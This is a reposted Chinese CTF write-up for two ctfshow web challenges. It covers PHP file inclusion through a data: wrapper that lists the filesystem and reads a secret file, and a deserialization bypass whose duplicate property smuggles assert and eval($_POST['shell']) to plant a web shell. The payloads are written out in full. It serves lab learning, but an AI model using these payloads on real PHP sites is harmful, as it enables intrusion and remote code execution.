ctfshow_吃鸡杯__web_两题
2021/8/17 6:06:11
本文主要是介绍ctfshow_吃鸡杯__web_两题,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
- warmup
传入file,检查file后缀是不是php,是就包含
用data伪协议
file=data:text/plain,<?=system(%27ls%27);?>.php
发现system()被禁用
glob看下文件
file=data:text/plain,<?php print_r(glob('/*'));?>.php
file=data:text/plain,<?php print_r(file('/secret'));?>.php
- cjbweb
<?php error_reporting(0); $safe="Hack me!"; class Hacker{ public $name="var_dump"; public $msg="Happy to cjb"; public function __wakeup() { global $safe; if(preg_match('/\d|\/|,|\([^()]*\([^()]*\)/',$this->msg)){ $this->name="var_dump"; $this->msg="You look dangerous!!!"; $safe="I think waf is enough."; } call_user_func($this->name,$this->msg); } public function __destruct() { global $safe; var_dump($safe); } } if(isset($_POST['info'])){ $info=$_POST['info']; if(preg_match('/s:4:"name";s:\d:"v\w*"/',$info)){ unserialize($info); }else{ echo "I just love v"; } }else{ $hacker=new Hacker(); highlight_file(__FILE__); } string(8) "Hack me!"
看上去是反序列化,还有两个正则表达式
最终是传入参数,执行这个
call_user_func($this->name,$this->msg);
尝试序列化
发现第二个,对name变量限定开头第一个字母是v
这里可以再加一个变量绕过,序列化结果变量数也要加1
O:6:"Hacker":3:{s:4:"name";s:8:"var_dump";s:4:"name";s:6:"assert";s:3:"msg";s:10:"phpinfo();";}
构造
info=O:6:"Hacker":3:{s:4:"name";s:8:"var_dump";s:4:"name";s:6:"assert";s:3:"msg";s:22:"eval($_POST['shell']);";}
即可拿到shell
这篇关于ctfshow_吃鸡杯__web_两题的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-07-05feign默认connecttimeout和readtimeout是多少-icode9专业技术文章分享
- 2024-07-05idea控制台,日志太多,导致部分想看得日志被刷走 搜不到-icode9专业技术文章分享
- 2024-07-05The server selected protocol version Tls10 is not accepted by client preferences [TLs12]-icode9专业技术文章分享
- 2024-07-05怎么清理项目缓存-icode9专业技术文章分享
- 2024-07-04安装 Eyoucms详细图文教程-icode9专业技术文章分享
- 2024-07-04ueditor 复制文章时,图片的链接是一个下载图片地址,该如何处理?-icode9专业技术文章分享
- 2024-07-04怎样判断host有没有对wordpress有缓存呢-icode9专业技术文章分享
- 2024-07-04具有编译功能的系统make后,无法ssh连接-icode9专业技术文章分享
- 2024-07-04make后如何升级ssh-icode9专业技术文章分享
- 2024-07-03微信支付提示下单账户与支付账户不一致-icode9专业技术文章分享